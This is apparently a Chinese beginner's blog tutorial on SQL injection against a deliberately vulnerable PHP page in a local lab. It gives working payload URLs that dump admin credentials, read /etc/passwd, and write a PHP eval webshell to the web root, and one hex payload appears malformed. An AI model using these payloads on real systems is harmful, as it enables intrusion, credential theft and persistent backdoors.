标签:
概况,大概的分类
PS:简单的报错注入
0x00 环境 kali LAMP
0x01 核心代码
现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select、Insert、Update和Delete四种类型,注入也是对这四种基本操作的拼接产生的。接下来笔者将以Select为例引导新手初步了解SQL注入。Select是数据库的查询操作,所以常常出现在像文章查看和搜索这些地方,缺陷代码如下:
<?php
$conn = mysql_connect(‘localhost‘, ‘root‘, ‘root‘) or die(‘bad!‘);
mysql_query("SET NAMES binary‘");
mysql_select_db(‘test‘, $conn) OR emMsg("数据库连接失败");
//这里id没有做整形转换
$id = isset($_GET[‘id‘]) ? $_GET[‘id‘] : 1;
//sql语句没有单引号保护,造成注入
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
数据库内容
0x02注入测试
1. 正常访问
http://192.168.192.128/sqltest/news.php
http://192.168.192.128/sqltest/news.php?id=1
http://192.168.192.128/sqltest/news.php?id=2
...
2. 测试字段数
PS:3 正常,4报错,说明有三个字段
http://192.168.192.128/sqltest/news.php?id=1 and 1=2 order by 3
http://192.168.192.128/sqltest/news.php?id=1 and 1=2 order by 4
3. 测试回显字段
PS: 2,3均回显,说明均是回显字段
http://192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3
例如,在3字段测试user()函数
4. 查询当前库下的所有表
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
5.测试表中的字段名称
PS:admin 的十六进制61646d696e ; news十六进制 6e657773
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e
6.查询admin表下的用户名密码
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x23,pass) from admin
7.读取linux系统文件(/etc/passwd,需转换为16进制)
ps:权限足够
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764)
8. 权限足够的情况下写SHELL
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile ‘/var/www/html/1.php‘--
若权限不足,换个目录
phpinfo页面
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020706870696e666f28293b203f3e into outfile ‘/var/www/html/sqltest/3.php‘--
写个webshell(注意16进制转换时是一条语句)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f706870206576616c28245f504f53545b615d293b3f3e into outfile ‘/var/www/html/sqltest/5.php‘--
执行完毕不报错
另外,注入写入的文件可能root删除不掉,需要结合chattr 来解决。(攻防比赛中,可能会遇到)
参考:
http://mp.weixin.qq.com/s?src=3×tamp=1469346783&ver=1&signature=JFsK7nVvnj9R0JHq1j-KXdP159o764mHQ8guzfVPPdAjpPhsZEFyqhJFvvdWchcJy*PfAGY4pe2KBkVJI4-X6kHovCMWCubqcpDZ7W3FmRbZoRGsFOC2zcXEaNaO2no3tRTJokL9h-s-yLq7kQWxvx7cCEcEjW6rdqaWTwcneMI=
代码审计之SQL注入
标签:
原文地址:http://www.cnblogs.com/shellr00t/p/5701184.html